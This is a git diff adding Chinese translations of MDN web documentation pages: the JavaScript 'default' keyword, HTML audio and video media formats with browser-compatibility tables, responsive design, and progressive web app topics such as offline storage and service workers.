{{SpecName('ESDraft', '#sec-binary-logical-operators')}}{{Spec2('ESDraft')}}Defined in several sections of the specification: Logical NOT Operator, Binary Logical Operators
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.operators.logical")}}

+ +

参见

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/statements/switch/index.html b/files/zh-cn/conflicting/web/javascript/reference/statements/switch/index.html new file mode 100644 index 0000000000..12e076166c --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/statements/switch/index.html @@ -0,0 +1,120 @@ +--- +title: default +slug: Web/JavaScript/Reference/Statements/default +tags: + - JavaScript + - Keyword +translation_of: Web/JavaScript/Reference/Statements/switch +translation_of_original: Web/JavaScript/Reference/Statements/default +--- +
{{jsSidebar("Statements")}}
+ +
+ +

default 关键字可以在 JavaScript 的两种情况下使用:在 {{jsxref("Statements/switch", "switch")}} ,或 {{jsxref("Statements/export", "export")}} 中。

+ +

语法

+ +

在{{jsxref("Statements/switch", "switch")}} 语句中使用:

+ +
switch (expression) {
+  case value1:
+    //当表达式的值和value1匹配执行这里的语句
+    [break;]
+  default:
+    //当表达式的值没有匹配,执行这里的语句
+    [break;]
+}
+ +

在{{jsxref("Statements/export", "export")}} 中使用:

+ +
export default nameN 
+ +

描述

+ +

更多细节,参见

+ + + +

示例

+ +

switch语句中使用default

+ +

在以下示例中,如果expr为“Oranges”或“Apples”,程序将匹配“Oranges”或“Apples”的值并执行相应的声明。在任何其它情况下,default关键字将执行关联的语句。

+ +
switch (expr) {
+  case "Oranges":
+    console.log("Oranges are $0.59 a pound.");
+    break;
+  case "Apples":
+    console.log("Apples are $0.32 a pound.");
+    break;
+  default:
+    console.log("Sorry, we are out of " + expr + ".");
+}
+ +

export语句中使用default

+ +

如果要导出单个值或需要模块的回调值,则可以使用默认导出: 

+ +
// module "my-module.js"
+let cube = function cube(x) {
+  return x * x * x;
+}
+export default cube;
+
+ +

然后,在另一个脚本中,默认导出将直接被导入:

+ +
// module "my-module.js"
+import myFunction from 'my-module';
+console.log(myFunction(3)); // 27
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}{{Spec2('ES6')}}
{{SpecName('ES6', '#sec-exports', 'Exports')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}{{Spec2('ESDraft')}}
{{SpecName('ESDraft', '#sec-exports', 'Exports')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容

+ + + +

{{Compat("javascript.statements.default")}}

+ +

See also

+ + diff --git a/files/zh-cn/conflicting/web/media/formats/index.html b/files/zh-cn/conflicting/web/media/formats/index.html new file mode 100644 index 0000000000..d6a5d3753e --- /dev/null +++ b/files/zh-cn/conflicting/web/media/formats/index.html @@ -0,0 +1,563 @@ +--- +title: 'HTML的媒体支持:audio和video元素' +slug: Web/HTML/Supported_media_formats +tags: + - HTML Media Video Audio +translation_of: Web/Media/Formats +translation_of_original: Web/HTML/Supported_media_formats +--- +

    {{HTMLElement("audio")}} 和 {{HTMLElement("video")}}是浏览器内置的播放音频或视频的元素;视频和音频编解码器用来处理视频和音频,不同的编解码器提供不同级别的压缩率和分辨率;一个容器封装格式(多媒体容器格式)用来存储和传输编码后的视频和音频(如果视频带有音轨则同时;编解码器和多媒体容器格式有非常多的组合;尽管只有很少部分和WEB相关;
+    
+     由于专利的问题,不同的浏览器对HTML5的video和audio有不同的规范和实现;WEB上的媒体格式领域受到在包括美国、欧盟在内的许多国家的专利法的保护和制约;本文将讨论了不同的编解码器和封装格式在WEB上的各种组合,包括在桌面设备和其他设备上的浏览器的支持情况。

+ +

     想要在HTML5中播放视频,并且主流浏览器的最新版本中支持良好;可以使用WebM 和 MPEG H.264 AAC 编码格式;像下面一样使用{{HTMLElement("source")}}元素

+ +
<video controls>
+  <source src="somevideo.webm" type="video/webm">
+  <source src="somevideo.mp4" type="video/mp4">
+  I'm sorry; your browser doesn't support HTML5 video in WebM with VP8/VP9 or MP4 with H.264.
+  <!-- You can embed a Flash player here, to play your mp4 video in older browsers -->
+</video>
+
+ +

+ +

Ogg Theora Vorbis

+ +

Ogg容器格式使用Theora视频编解码器和 Vorbis音频编解码器。在的桌面和移动端的Gecko(Firefox),Chrome和Opera;Safari(非IOS)可以通过添加扩展支持;但是不支持IE

+ +

WebM在可选的情况下是优选项;因为它能提供更高的压缩比,并且被更多的浏览器所支持;而Ogg容器格式主要用于支持低版本的浏览器(比如: Firefox 3.5/3.6就不支持WebM,但是支持Ogg)

+ +

Ogg的授权情况和WebM类似

+ +

Gecko提供下面3种Ogg文件格式的MIME type:

+ +

audio/ogg

+ +

一个只包含音频的Ogg文件

+ +

video/ogg

+ +

一个包含视频或音频的Ogg文件

+ +

application/ogg

+ +

一个不指定内容的Ogg文件,当你不知道内容的时候可以选择

+ +

Ogg Opus

+ +

Ogg容器可以通过使用Opus codec包含音频编解码器;用来支持Gecko 15.0 (Firefox 15.0 / Thunderbird 15.0 / SeaMonkey 2.12) 或更新的版本

+ +

Ogg FLAC

+ +

Ogg容器可以通过使用FLAC codec包含音频编解码器;用来支持Gecko 51.0 {{geckoRelease("51.0")}} 或更新的版本, 但只适用于桌面浏览器

+ +

MP4 FLAC

+ +

从Firefox 51开始,你就可以使用FLAC编解码器播放MP4了,不管你有没有安装 MediaSource Extensions和DRM 扩展支持。

+ +

MP3

+ +

MP3 audio 编码对应浏览器<audio>的支持。其中Firefox/Firefox for Android/Firefox OS需要操作系统本身提供了MP3的解码器;而IE,Chrome,Safari则原生支持

+ +

WAVE PCM

+ +

WAVE容器使用PCM音频编解码器;桌面和移动Gecko (Firefox) a、 Safari都支持,WAVE容器中的文件后缀为 ".wav"。

+ +
See RFC 2361 for the WAVE codec registry.
+ +

Gecko提供下面4种WAVE文件格式的MIME type:

+ + + +

FLAC

+ +

FLAC容器格式使用 FLAC 音频编解码器 (FLAC codec);桌面端受到Gecko Firefox 51.0 (Firefox 51.0 / Thunderbird 51.0 / SeaMonkey 2.48)的支持,文件后缀为 “.flac”

+ +

Gecko提供下面4种FLAC文件格式的MIME type:

+ + + +

Media Source Extensions (MSE)

+ +

媒体源扩展(MSE)是一个W3C工作草案,计划扩展{{domxref("HTMLMediaElement")}}以允许JavaScript生成用于重放的媒体流。 允许JavaScript生成流以适应各种应用场景,如自适应流和时移实时流。 MSE支持仅限于MP4和WebM容器,但编解码器支持因底层平台而异。

+ +

例如:可以使用JavaScript实现MPEG-DASH,同时将解码解压缩到MSE。
+
+ For example, you could implement MPEG-DASH using JavaScript while offloading the decoding to MSE.

+ +
+

时间位移(Time shifting) 功能主要是将即时内容,录制在存储器上,可以暂时离开,一定时间回来后,可以从离开的时间通过内部的重播。

+
+ +

浏览器兼容情况

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support3.0{{CompatGeckoDesktop("1.9.1")}}9.010.503.1
<audio>: PCM in WAVE{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}{{CompatNo}}10.503.1
<audio>: Vorbis in WebM{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}{{CompatNo}}10.603.1[1]
<audio>: Streaming Vorbis/Opus in WebM via MSE{{CompatUnknown}}{{CompatGeckoDesktop("36.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<audio>: Vorbis in Ogg{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}{{CompatNo}}10.50{{CompatNo}}
<audio>: MP3{{CompatVersionUnknown}}[4]{{CompatVersionUnknown}}[5]9.0{{CompatVersionUnknown}}3.1
<audio>: MP3 in MP4{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
<audio>: AAC in MP4{{CompatVersionUnknown}}[6]{{CompatVersionUnknown}}[7]9.0{{CompatVersionUnknown}}3.1
<audio>: Opus in Ogg27.0{{CompatGeckoDesktop("15.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<audio>: FLAC56.0{{CompatGeckoDesktop("51")}}{{CompatNo}}{{CompatNo}}11
<audio>: FLAC in Ogg56.0{{CompatGeckoDesktop("51")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
<video>: VP8 and Vorbis in WebM6.0{{CompatGeckoDesktop("2.0")}}9.0[8]10.603.1[9]
<video>: VP9 and Opus in WebM29.0{{CompatGeckoDesktop("28.0")}}[36]{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
<video>: Streaming WebM via MSE{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}}[35]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<video>: Theora and Vorbis in Ogg{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}{{CompatNo}}10.50{{CompatNo}}
<video>: H.264 and MP3 in MP4{{CompatVersionUnknown}}[3]{{CompatVersionUnknown}}[10]9.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
<video>: H.264 and AAC in MP4{{CompatVersionUnknown}}[4]{{CompatVersionUnknown}}[11]9.0{{CompatVersionUnknown}}3.1
<video>: FLAC in MP462.0{{CompatGeckoDesktop(51)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
any other format{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}3.1[12]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileOpera MiniSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatChrome(29)}}24.01.0.110.011.0{{CompatVersionUnknown}}[13]3.2
<audio>: PCM in WAVE{{CompatUnknown}}{{CompatUnknown}}24.01.0.1{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}[14]3.2
<audio>: Vorbis in WebM{{CompatUnknown}}{{CompatUnknown}}24.01.0.1{{CompatNo}}11.0{{CompatVersionUnknown}}[15]{{CompatNo}}
<audio>: Streaming Vorbis in WebM via MSE{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<audio>: Vorbis in Ogg{{CompatUnknown}}{{CompatUnknown}}24.01.0.1{{CompatNo}}11.0{{CompatVersionUnknown}}[16]{{CompatNo}}
<audio>: MP3{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}[17]{{CompatVersionUnknown}}[18]10.0{{CompatUnknown}}{{CompatVersionUnknown}}[19]3.2
<audio>: MP3 in MP4{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
<audio>: AAC in MP4{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}[20]{{CompatVersionUnknown}}[21]10.0{{CompatUnknown}}{{CompatVersionUnknown}}[22]{{CompatVersionUnknown}}
<audio>: Opus in Ogg{{CompatNo}}71.024.0{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}[23]{{CompatNo}}
<video>:  VP8 and Vorbis in WebM{{CompatVersionUnknown}}{{CompatChrome(29)}}24.01.0.1{{CompatNo}}16.0{{CompatVersionUnknown}}[24]{{CompatNo}}
<video>: VP9 and Opus in WebM{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<video>: Streaming WebM via MSE{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<video>: Theora and Vorbis in Ogg{{CompatNo}}{{CompatNo}}24.01.0.1{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}[25]{{CompatNo}}
<video>:  H.264 and MP3 in MP4{{CompatVersionUnknown}}[26]{{CompatChrome(29)}}24.0[33]{{CompatVersionUnknown}}[27]10.016.0[28]{{CompatVersionUnknown}}[29]{{CompatVersionUnknown}}
<video>: H.264 and AAC in MP4{{CompatVersionUnknown}}[30]{{CompatChrome(29)}}24.0[34]{{CompatVersionUnknown}}[31]10.016.0[28]{{CompatVersionUnknown}}[32]3.2
<video>: FLAC in MP4{{CompatUnknown}}62.0{{CompatGeckoMobile(58)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
any other format{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Must be installed separately.

+ +

[2] In Nightly/Dev Edition only.

+ +

[3] Only on platforms that don't support H.264.

+ +

[4] AAC is only supported in the MP4 container. Not in Chromium.

+ +

[5] To avoid patent issues, support for MP3 is not built directly into Firefox. Instead it relies on support from the OS. Firefox supports this format on the following platforms: Windows Vista+ since Firefox 22.0, Android since Firefox 20.0, Firefox OS since Firefox 15.0, Linux since Firefox 26.0 (relies on GStreamer codecs) and OS X 10.7 since Firefox 35.0.

+ +

[6] Main only. Not in Chromium. AAC is only supported in the MP4 container.

+ +

[7] AAC is only supported in the MP4 container. To avoid patent issues, support for MPEG 4 and AAC is not built directly into Firefox. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4). Firefox supports these formats on the following platforms: Windows Vista+ since Firefox 22.0, Android since Firefox 20.0, Firefox OS since Firefox 15.0, Linux since Firefox 26.0 (relies on GStreamer codecs) and OS X 10.7 since Firefox 35.0.

+ +

[8] must be installed separately, e.g. WebM MF.

+ +

[9] Must be installed separately, e.g. Perian.

+ +

[10] To avoid patent issues, support for MPEG 4, H.264 and MP3 is not built directly into Firefox. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4). Firefox supports these formats on the following platforms: Windows Vista+ since Firefox 22.0, Android since Firefox 20.0, Firefox OS since Firefox 15.0, Linux since Firefox 26.0 (relies on GStreamer codecs) and OS X 10.7 since Firefox 35.0.

+ +

[11] AAC is only supported in the MP4 container. To avoid patent issues, support for MPEG 4, H.264 and AAC is not built directly into Firefox. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4). Firefox supports these formats on the following platforms: Windows Vista+ since Firefox 22.0, Android since Firefox 20.0, Firefox OS since Firefox 15.0, Linux since Firefox 26.0 (relies on GStreamer codecs) and OS X 10.7 since Firefox 35.0.

+ +

[12] Plays all formats available via QuickTime.

+ +

[13] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

+ +

[14] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

+ +

[15] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

+ +

[16] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

+ +

[17] To avoid patent issues, support for MP3 is not built directly into Firefox Mobile (Android). Instead it relies on support from the OS or hardware.

+ +

[18] To avoid patent issues, support for MP3 is not built directly into Firefox OS. Instead it relies on support from the OS or hardware.

+ +

[19] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

+ +

[20] AAC is only supported in the MP4 container. To avoid patent issues, support for MPEG 4 and AAC is not built directly into Firefox Mobile (Android). Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

+ +

[21] AAC is only supported in the MP4 container. To avoid patent issues, support for MPEG 4 and AAC is not built directly into Firefox OS. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

+ +

[22] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats. AAC is only supported in the MP4 container.

+ +

[23] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

+ +

[24] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

+ +

[25] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

+ +

[26] To get the default Android browser to play H.264 video, you need to jump through some hoops, as explained by Peter Gasston.

+ +

[27] In Firefox OS 1.0.1, when detecting <video> support for different formats, HTMLMediaElement.prototype.canPlayType incorrectly reports true for h.264 video whereas in actual fact h.264 is not supported. In Firefox OS 1.1 this problem has been fixed.
+ To avoid patent issues, support for MPEG 4, H.264 and MP3 is not built directly into Firefox Mobile (Android) and Firefox OS. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

+ +

[28] Partial since 11.0. AAC is only supported in the MP4 container.

+ +

[29] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

+ +

[30] AAC is only supported in the MP4 container. To get the default Android browser to play H.264 video, you need to jump through some hoops, as explained by Peter Gasston.

+ +

[31] In Firefox OS 1.0.1, when detecting <video> support for different formats, HTMLMediaElement.prototype.canPlayType incorrectly reports true for h.264 video whereas in actual fact h.264 is not supported. In Firefox OS 1.1 this problem has been fixed. AAC is only supported in the MP4 container.
+ To avoid patent issues, support for MPEG 4, H.264 and ACC is not built directly into Firefox OS. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

+ +

[32] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats. AAC is only supported in the MP4 container.

+ +

[33] To avoid patent issues, support for MPEG 4, H.264 and MP3 is not built directly into Firefox Mobile (Android). Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

+ +

[34] To avoid patent issues, support for MPEG 4, H.264 and ACC is not built directly into Firefox Mobile (Android). Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

+ +

[35] VP8/VP9 video codecs are only available in MSE when H.264 hardware decoders are not available. Checking for availability via MediaSource.isTypeSupported() is recommended.

+ +

[36] Starting in Firefox 46, when attempting to initiate a WebRTC call using {{domxref("RTCPeerConnection.createOffer()")}} uses VP9 by default; in the past, VP8 was the default video format.

+ +

See also

+ + diff --git a/files/zh-cn/conflicting/web/progressive_web_apps/index.html b/files/zh-cn/conflicting/web/progressive_web_apps/index.html new file mode 100644 index 0000000000..ca256085b4 --- /dev/null +++ b/files/zh-cn/conflicting/web/progressive_web_apps/index.html @@ -0,0 +1,49 @@ +--- +title: 响应式设计 +slug: Web_Development/Mobile/Responsive_design +translation_of: Web/Progressive_web_apps +translation_of_original: Web/Guide/Responsive_design +--- +

在解决对桌面和移动环境开发网站这个问题上,与分离网站的方法相反,一种相对较新(其实相当古老)的方法渐渐流行起来:摒弃用户代理检测,而是在客户端根据浏览器的能力进行页面变化。这种方法最早是由Ethan Marcotte在他为A List Apart所写的文章中提出的,也就是我们所熟知的响应式设计。和分离网站设计方式一样,响应式设计也有自己的优势和弊端。

+

优势

+

尽管一开始这种方法并不是为了创建移动端网站而提出的,但在近一段时间以来,作为分离式移动端网站的替代者,响应式设计作为一种向移动端友好的方向迈进的方式而备受关注。

+
    +
  1. 因为无需为不同的设备维护不同的网站,这种方式节省了时间和金钱。
  2. +
  3. 响应式设计为每一个页面提供了一个单独且独有的URL。
  4. +
  5. 社会化分享统计(Facebook Likes, Tweets, +1 on Google plus)也不会割离开,因为移动端和桌面端使用的都是一个唯一的URL。
  6. +
  7. 响应式设计无需考虑用户代理的检测。
  8. +
+

这一方法有着许多非常好的方面。因为其不需要进行用户代理检测,相比于分离式网站方法,响应式设计更加具有韧性并经得起未来发展的考验。

+

弊端

+

当然,这一方法并非没有其局限性。因为内容必须在客户端使用Javascript进行调整,所以变化的内容要尽可能的最少。一般来说,当你尝试编写两组不同的Javascript来操作同一个DOM时,事情就会变得很麻烦。这也是为什么网络应用往往不采用这种方法的一个很重要的原因。

+

如果你的网站还没有支持弹性布局,那么将你的一个已有网站重新做响应式设计就必须重写你的样式。但是,这也有可能因祸得福。让你的网站成为响应式的设计,可能是一个升级和整理网站CSS的好机会。

+

最后,由于增加了脚本和样式的代码量,响应式的网站的性能可能会比分离式网站要差。尽管通过将脚本和样式进行合理的重构能够节省出一些资源,但性能的下降是无法避免的。

+

何时选择响应式设计

+

teixido_responsive-300x177.png正如上面所提到的,因为内容的改变很困难,当你使用响应式设计的时候,你无法给予用户一个有着显著区别的移动端体验,除非你大幅地增加代码的复杂度。也就是说,如果网站的桌面端和移动端内容非常相似,那么响应式设计就是一个很好的选择。那些以文档为中心的网站,他们在不同的设备上的主要用途都不会改变,比如一个产品页面,对于这种网站响应式的设计就非常的适合。你会注意到下面的例子全都是博客和宣传页面!

+

举例

+

尽管它还没有像分离式网站那么流行,但每天都有很多网站开始应用这项技术。幸运的是,因为所有的代码都是在客户端的,如果你想了解一个网站是如何实现这项技术的,只需要简单地访问该网站并查看他的页面源代码即可。下面是一些网站的例子:

+ +

尽管是一个相对较新的方法,响应式设计也逐渐积累了许多良好的经验。如果你正打算设计一个响应式网站,通常值得先创建一个小屏幕的设计,使得移动端的限制因素在一开始设计的时候就被考虑到。并且,这样更利于为你的样式使用渐进增强的技术,而不是使用Media Queries来隐藏已有网站中的元素。这样的话,那些老的不支持Media Queries的浏览器依旧能显示正确的布局。根据这一方法来设计的出色示范可以看这里

+

开发移动网站的途径

+

想了解移动平台开发的相关背景和其他方法,请参看以下文章。

+ +

参考

+ +
+ 原稿信息
+

Originally published on 27 May, 2011 on the Mozilla Webdev blog as "Approaches to Mobile Web Development Part 3 - Responsive Design", by Jason Grlicky.

+
+

 

diff --git a/files/zh-cn/conflicting/web/progressive_web_apps/introduction/index.html b/files/zh-cn/conflicting/web/progressive_web_apps/introduction/index.html new file mode 100644 index 0000000000..809b1edb38 --- /dev/null +++ b/files/zh-cn/conflicting/web/progressive_web_apps/introduction/index.html @@ -0,0 +1,58 @@ +--- +title: 渐进式webApp优势 +slug: Web/Progressive_web_apps/优势 +translation_of: Web/Progressive_web_apps/Introduction#Advantages_of_web_applications +translation_of_original: Web/Progressive_web_apps/Advantages +--- +

以下是渐进式webApp所有的优势清单

+ +

Discoverable

+ +

The eventual aim is that web apps should have better representation in search engines, be easier to expose, catalog and rank, and have metadata usable by browsers to give them special capabilities.

+ +

Some of the capabilities have already been enabled on certain web-based platforms by proprietary technologies like Open Graph, which provides a format for specifying similar metadata in the HTML <head> using meta tags.

+ +

The relevant web standard here is the Web app manifest, which defines features of an app such as name, icon, splash screen, and theme colors in a JSON-formatted manifest file. This is for use in contexts such as app listings and device home screens.

+ + + +

Installable

+ +

A core part of the apps experience is for users to have app icons on their home screen, and be able to tap to open apps into their own native container that feels nicely integrated with the underlying platform.

+ +

Modern web apps can have this native app feel via properties set inside the Web app manifest, and via a feature available in modern smartphone browsers called Add to home screen.

+ +

Linkable

+ +

One of the most powerful features of the Web is to be able to link to an app at a specific URL — no app store needed, no complex installation process. This is how it has always been.

+ +

Network independent

+ +

Modern web apps can work when the network is unreliable, or even non-existent. The basic ideas behind network independence are to be able to:

+ + + +

This is achieved by a combination of technologies — Service Workers to control page requests (for example storing them offline), the Cache API for storing responses to network requests offline (very useful for storing site assets), and client-side data storage technologies such as Web Storage and IndexedDB to store application data offline.

+ +

Progressive

+ +

Modern web apps can be developed to provide a super cool experience to fully capable browsers, and an acceptable (although not quite as shiny) experience to less capable browsers. We've been doing this for years with best practices such as progressive enhancement.

+ +

Re-engageable

+ +

One major advantage of native platforms is the ease with which users can be re-engaged by updates and new content, even when they aren't looking at the app or using their devices. Modern web apps can now do this too, using new technologies such as Service Workers for controlling pages, the Web Push API for sending updates straight from server to app via a service worker, and the Notifications API for generating system notifications to help engage users when they're not in the browser.

+ +

Responsive

+ +

Responsive web apps use technologies like media queries and viewport to make sure that their UIs will fit any form factor: desktop, mobile, tablet, or whatever comes next.

+ +

Safe

+ +

The web platform provides a secure delivery mechanism that prevents snooping and ensures content hasn’t been tampered with — as long as you take advantage of HTTPS and develop your apps with security in mind. In addition, you can verify the true nature of a PWA by confirming that it is at the correct URL, whereas apps in apps stores can often look like one thing, but be another (example).

+ +

 

diff --git a/files/zh-cn/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html b/files/zh-cn/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html new file mode 100644 index 0000000000..3177fc1c29 --- /dev/null +++ b/files/zh-cn/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html @@ -0,0 +1,78 @@ +--- +title: Responsive design +slug: Web/Progressive_web_apps/Responsive +tags: + - Media Queries + - PWA + - Progressive web apps + - Responsive web design + - viewport +translation_of: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks +translation_of_original: Web/Progressive_web_apps/Responsive +--- +
+
响应式Web应用使用媒体查询和viewport等技术,以确保它们的页面适配任何设备,比如:桌面、移动手机、平板,或者其他新的设备。
+ +
+
+ +

核心指南

+ +
+
The building blocks of responsive design
+
Learn the basics of responsive design, an essential topic for modern app layout.
+
Mobile first
+
Often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top.
+
+ +

技术

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TechnologyDescriptionSupport summaryLatest spec
Media queriesDefines expressions allowing styling to be selectively applied to content depending on viewport size, resolution, orientation, etc.Widespread across modern browsers (more detail)Media Queries Level 4
@viewport/viewport meta tagControls viewport settings, primarily on mobile devices.@viewport: Experimental (more detail)
+ Viewport meta tag: Widespread across modern mobile devices
CSS Device Adaptation Module Level 1
FlexboxA very useful CSS feature for creating flexible, responsive layouts.Widespread across modern browsers (more detail)CSS Flexible Box Layout Module Level 1
+ +

工具

+ +
+
Modernizr
+
A feature detection library for applying different CSS and JS to your page depending on whether certain CSS/JS features are supported.
+
css3-mediaqueries-js
+
A JavaScript polyfill to add Media Query support to old versions of IE (5+.)
+
+ +

参见

+ +
+
Graphics for responsive sites
+
Ideas to keep in mind when designing graphics for responsive sites and applications.
+
Responsive navigation patterns
+
How do you make a UI that looks and works as great on a smartphone as it does on the desktop? Learn how to design UIs that change to fit your user's screen.
+
diff --git a/files/zh-cn/conflicting/web/progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f/index.html b/files/zh-cn/conflicting/web/progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f/index.html new file mode 100644 index 0000000000..4b8b532173 --- /dev/null +++ b/files/zh-cn/conflicting/web/progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f/index.html @@ -0,0 +1,95 @@ +--- +title: 网络独立 +slug: Web/Progressive_web_apps/Network_independent +tags: + - Application Shell + - IndexedDB + - PWA + - Progressive web apps + - Service Workers + - Web Storage + - localStorage +translation_of: Web/Progressive_web_apps +translation_of_original: Web/Progressive_web_apps/Network_independent +--- +
+
当网络不可靠,甚至不存在时,现代网络应用程序仍可以工作。没有更多的空白连接错误页面或恐龙穿过沙漠。除了离线高速缓存和服务工作者之外,UI和内容之间的一个明确的分隔可让您存储应用程序的数据和核心资产,以备将来使用。
+ +
+
+ +

The basic ideas behind network independence are to be able to:

+ + + +

核心指南

+ +
+
Using service workers
+
A simple guide for those new to the Service Worker API.
+
Using IndexedDB
+
The basics of IndexedDB, explained in detail.
+
Using the Web Storage API
+
The Web storage API made simple.
+
Instant Loading Web Apps with An Application Shell Architecture
+
A guide to using the App Shell coding pattern to create apps that load quickly.
+
+ +

技术

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
技术描述支持概览最新规范
Service workersJavaScript running in a special worker context that is run by the browser under certain circumstances such as fetch or push events. These allow the service worker to intercept responses and customise them in any way you want, for example caching assets for offline use before they are served.Experimental: Chrome and Firefox (more detail){{SpecName('Service Workers')}}
IndexedDBA transactional database system that allows complex client-side data storage to be controlled via JavaScript.Widespread across modern browsers (more detail){{SpecName('IndexedDB')}}
Web StorageA simple API for storing name-value pairs on the client-side.Widespread (more detail){{SpecName('Web Storage')}}
+ +

工具

+ +
+
localForage
+
A nice simple JavaScript library for making client-side data storage really simple; it uses IndexedDB by default, and falls back to Web SQL/Web Storage if necessary.
+
ServiceWorkerWare
+
An Express-like microframework for easy Service Worker development.
+
oghliner
+
Not only a template but a tool for deploying Offline Web Apps to GitHub Pages.
+
sw-precache
+
A node module to generate service worker code that will precache specific resources.
+
upup
+
A tiny script that makes sure your site is always there for your users.
+
+ +

参见

+ +
+
The service worker cookbook
